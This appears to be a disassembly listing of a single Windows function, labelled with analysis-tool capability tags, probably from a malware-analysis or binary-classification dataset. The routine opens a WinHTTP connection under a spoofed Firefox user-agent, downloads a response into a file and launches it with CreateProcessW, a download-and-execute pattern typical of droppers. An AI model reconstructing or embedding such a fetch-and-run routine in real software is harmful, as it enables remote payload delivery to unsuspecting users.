Function at 0x1000df80
Capabilities:
Create process on windows
Initialize winhttp library
Prepare http request
Receive http response
Reference http user-agent string
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1004a7d3
mov eax, dword fs:[0]
push eax
sub esp, 0xdc
mov eax, dword [0x10060058]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0xb0], edx
movzx eax, cx
mov dword [ebp - 0xac], eax
movzx eax, cx
push dword [ebp - 0xb4]
xor ecx, ecx
mov dword [ebp - 4], 2
mov esi, dword [ebp + 0x48]
mov edx, 0x1bb
cmp ax, dx
mov dword [ebp - 0x48], 0
mov edi, 0x800000
mov edx, esi
cmovne edi, ecx
lea ecx, [ebp + 0x38]
cmp dword [ebp + 0x4c], 8
push 1
cmovae ecx, dword [ebp + 0x38]
push 0x10059898
push ecx
call fcn.10005d10
add esp, 0x10
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 7
lea edx, [eax + 1]
xor eax, eax
mov word [ebp - 0x40], ax
cmp esi, edx
jb 0x1000e7b7
sub esi, edx
lea eax, [ebp + 0x38]
or ecx, 0xffffffff
cmp esi, 0xffffffff
cmovb ecx, esi
cmp dword [ebp + 0x4c], 8
push ecx
cmovae eax, dword [ebp + 0x38]
lea ecx, [ebp - 0x40]
lea eax, [eax + edx*2]
push eax
call fcn.100072c0
push 0
push 0
push 0
push 1
push str.Mozilla_5.0__Windows_NT_6.1__Win64__x64__rv:108.0__Gecko_20100101_Firefox_108.0
mov byte [ebp - 4], 3
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov esi, eax
mov dword [ebp - 0xb4], esi
test esi, esi
je 0x1000e0df
cmp dword [ebp + 0x1c], 8
lea eax, [ebp + 8]
push 0
push dword [ebp - 0xac]
cmovae eax, dword [ebp + 8]
push eax
push esi
call dword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov ecx, eax
mov dword [ebp - 0xac], ecx
test ecx, ecx
jne 0x1000e0ac
push esi
call dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
jmp 0x1000e5cb
cmp dword [ebp + 0x34], 8
lea eax, [ebp + 0x20]
push edi
cmovae eax, dword [ebp + 0x20]
push 0
push 0
push 0
push eax
push 0
push ecx
call dword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov edi, eax
test edi, edi
jne 0x1000e0ec
push esi
mov esi, dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call esi
push dword [ebp - 0xac]
call esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
jmp 0x1000e5cb
push 4
lea eax, [ebp - 0x44]
mov dword [ebp - 0x44], 0x3300
push eax
push 0x1f
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpSetOption]
xor eax, eax
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
cmp dword [ebp - 0xb0], 1
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 4
jne 0x1000e148
cmp dword [0x10060aec], 8
mov eax, 0x10060ad8
push dword [0x10060ae8]
cmovae eax, dword [0x10060ad8]
jmp 0x1000e161
cmp dword [0x10060b04], 8
mov eax, 0x10060af0
push dword [0x10060b00]
cmovae eax, dword [0x10060af0]
push eax
call fcn.100072c0
push 0x10059ac8
lea edx, [ebp - 0x28]
lea ecx, [ebp - 0xe4]
call fcn.10005b20
add esp, 4
mov esi, eax
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x40]
cmp dword [ebp - 0x2c], 8
mov edx, dword [esi + 0x10]
cmovae ecx, dword [ebp - 0x40]
mov eax, dword [esi + 0x14]
sub eax, edx
mov dword [ebp - 0xa8], edx
mov edx, dword [ebp - 0x30]
mov dword [ebp - 0xe8], ecx
cmp edx, eax
ja 0x1000e1fb
cmp dword [esi + 0x14], 8
mov ecx, dword [ebp - 0xa8]
mov dword [ebp - 0xa8], esi
lea eax, [edx + ecx]
mov dword [ebp - 0x98], eax
mov dword [esi + 0x10], eax
mov eax, esi
jb 0x1000e1d1
mov eax, dword [esi]
mov dword [ebp - 0xa8], eax
lea ecx, [eax + ecx*2]
lea eax, [edx + edx]
push eax
push dword [ebp - 0xe8]
push ecx
call fcn.10028c40
mov eax, dword [ebp - 0xa8]
add esp, 0xc
mov ecx, dword [ebp - 0x98]
xor edx, edx
mov word [eax + ecx*2], dx
jmp 0x1000e214
push edx
push ecx
mov byte [ebp - 0x98], 0
mov ecx, esi
push dword [ebp - 0x98]
push edx
call fcn.100062a0
mov esi, eax
movups xmm0, xmmword [esi]
xor eax, eax
movq xmm1, qword [esi + 0x10]
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 7
mov word [esi], ax
mov edx, dword [ebp - 0x14]
movq qword [ebp - 0x9c], xmm1
movups xmmword [ebp - 0xc4], xmm0
cmp edx, 8
jb 0x1000e287
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x1000e26e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000e7bc
push edx
push ecx
call fcn.1002739f
movups xmm0, xmmword [ebp - 0xc4]
add esp, 8
movq xmm1, qword [ebp - 0x9c]
mov byte [ebp - 4], 4
mov edx, dword [ebp - 0xd0]
movq qword [ebp - 0x18], xmm1
movups xmmword [ebp - 0x28], xmm0
cmp edx, 8
jb 0x1000e2d4
mov ecx, dword [ebp - 0xe4]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x1000e2ca
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000e7bc
push edx
push ecx
call fcn.1002739f
add esp, 8
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
push 0x10059ea4
cmovae eax, dword [ebp - 0x28]
push eax
lea eax, [ebp - 0x94]
push eax
call fcn.1002e094
add esp, 0xc
cmp dword [ebp - 0x94], 0
je 0x1000e566
lea eax, [ebp - 0x48]
push eax
push 0
push 0
push 0
push 0
push 0
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
cmp eax, 1
je 0x1000e32e
push dword [ebp - 0x94]
call fcn.1002df5a
add esp, 4
jmp 0x1000e566
push 0
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
test eax, eax
jne 0x1000e350
push dword [ebp - 0x94]
call fcn.1002df5a
add esp, 4
jmp 0x1000e566
lea eax, [ebp - 0x90]
push eax
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
test eax, eax
je 0x1000e3e8
mov eax, dword [ebp - 0x90]
xor ecx, ecx
add eax, 1
setb cl
neg ecx
or ecx, eax
push ecx
call fcn.1002c880
mov esi, eax
add esp, 4
test esi, esi
je 0x1000e3e8
mov ecx, dword [ebp - 0x90]
inc ecx
push ecx
push 0
push esi
call fcn.100291d0
add esp, 0xc
lea eax, [ebp - 0x98]
push eax
push dword [ebp - 0x90]
push esi
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpReadData]
cmp eax, 1
jne 0x1000e3df
push dword [ebp - 0x94]
push dword [ebp - 0x90]
push eax
push esi
call fcn.1002dd34
push esi
call fcn.1002c865
add esp, 0x14
cmp dword [ebp - 0x90], 0
ja 0x1000e350
jmp 0x1000e3e8
push esi
call fcn.1002c865
add esp, 4
push dword [ebp - 0x94]
call fcn.1002df5a
add esp, 4
cmp dword [ebp - 0xb0], 1
jne 0x1000e566
xor eax, eax
mov dword [ebp - 0xe4], 0
push eax
push 0x10059850
lea ecx, [ebp - 0xe4]
mov dword [ebp - 0xd4], 0
mov dword [ebp - 0xd0], 7
mov word [ebp - 0xe4], ax
call fcn.100072c0
lea eax, [ebp - 0x28]
mov byte [ebp - 4], 6
push eax
lea ecx, [ebp - 0xcc]
call fcn.10005470
push 0x40
lea eax, [ebp - 0x88]
mov dword [ebp - 0x8c], 0x44
push 0
push eax
call fcn.100291d0
add esp, 0xc
lea edx, [ebp - 0xa4]
cmp dword [ebp - 0xd0], 8
lea ecx, [ebp - 0xe4]
mov eax, 1
cmovae ecx, dword [ebp - 0xe4]
cmp dword [ebp - 0xb8], 8
push edx
lea edx, [ebp - 0x8c]
mov word [ebp - 0x5c], ax
push edx
push 0
push 0
push 0
push 1
push 0
mov dword [ebp - 0x60], eax
lea eax, [ebp - 0xcc]
cmovae eax, dword [ebp - 0xcc]
push 0
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x1000e6de
mov edx, dword [ebp - 0xb8]
cmp edx, 8
jb 0x1000e509
mov ecx, dword [ebp - 0xcc]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x1000e4ff
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000e7c6
push edx
push ecx
call fcn.1002739f
add esp, 8
mov edx, dword [ebp - 0xd0]
xor eax, eax
mov dword [ebp - 0xbc], 0
mov dword [ebp - 0xb8], 7
mov word [ebp - 0xcc], ax
cmp edx, 8
jb 0x1000e566
mov ecx, dword [ebp - 0xe4]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x1000e55c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000e7c6
push edx
push ecx
call fcn.1002739f
add esp, 8
push dword [ebp - 0xb4]
mov esi, dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call esi
push dword [ebp - 0xac]
call esi
push edi
call esi
mov edx, dword [ebp - 0x14]
xor esi, esi
cmp edx, 8
jb 0x1000e5bb
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x1000e5b1
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000e7c1
push edx
push ecx
call fcn.1002739f
add esp, 8
xor eax, eax
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
mov eax, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x40]
cmp eax, 8
jb 0x1000e605
lea ecx, [eax*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x1000e5fb
mov edx, dword [edx - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000e7c1
push ecx
push edx
call fcn.1002739f
add esp, 8
mov edx, dword [ebp + 0x1c]
cmp edx, 8
jb 0x1000e63f
mov ecx, dword [ebp + 8]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x1000e635
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000e7c1
push edx
push ecx
call fcn.1002739f
add esp, 8
mov edx, dword [ebp + 0x34]
xor eax, eax
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 7
mov word [ebp + 8], ax
cmp edx, 8
jb 0x1000e68d
mov ecx, dword [ebp + 0x20]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x1000e683
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000e7c1
push edx
push ecx
call fcn.1002739f
add esp, 8
mov edx, dword [ebp + 0x4c]
xor eax, eax
mov dword [ebp + 0x30], 0
mov dword [ebp + 0x34], 7
mov word [ebp + 0x20], ax
cmp edx, 8
jb 0x1000e79a
mov ecx, dword [ebp + 0x38]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x1000e790
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000e7c1
jmp 0x1000e790
push dword [ebp - 0xa4]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0xa0]
call esi
mov edx, dword [ebp - 0xb8]
cmp edx, 8
jb 0x1000e734
mov ecx, dword [ebp - 0xcc]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x1000e72a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000e7c6
push edx
push ecx
call fcn.1002739f
add esp, 8
mov edx, dword [ebp - 0xd0]
xor eax, eax
mov dword [ebp - 0xbc], 0
mov dword [ebp - 0xb8], 7
mov word [ebp - 0xcc], ax
cmp edx, 8
jb 0x1000e566
mov ecx, dword [ebp - 0xe4]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x1000e55c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000e7c6
jmp 0x1000e55c
push edx
push ecx
call fcn.1002739f
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1002736e
mov esp, ebp
pop ebp
ret
call fcn.10001350
call fcn.1002ba9f
call fcn.1002ba9f
call fcn.1002ba9f
int3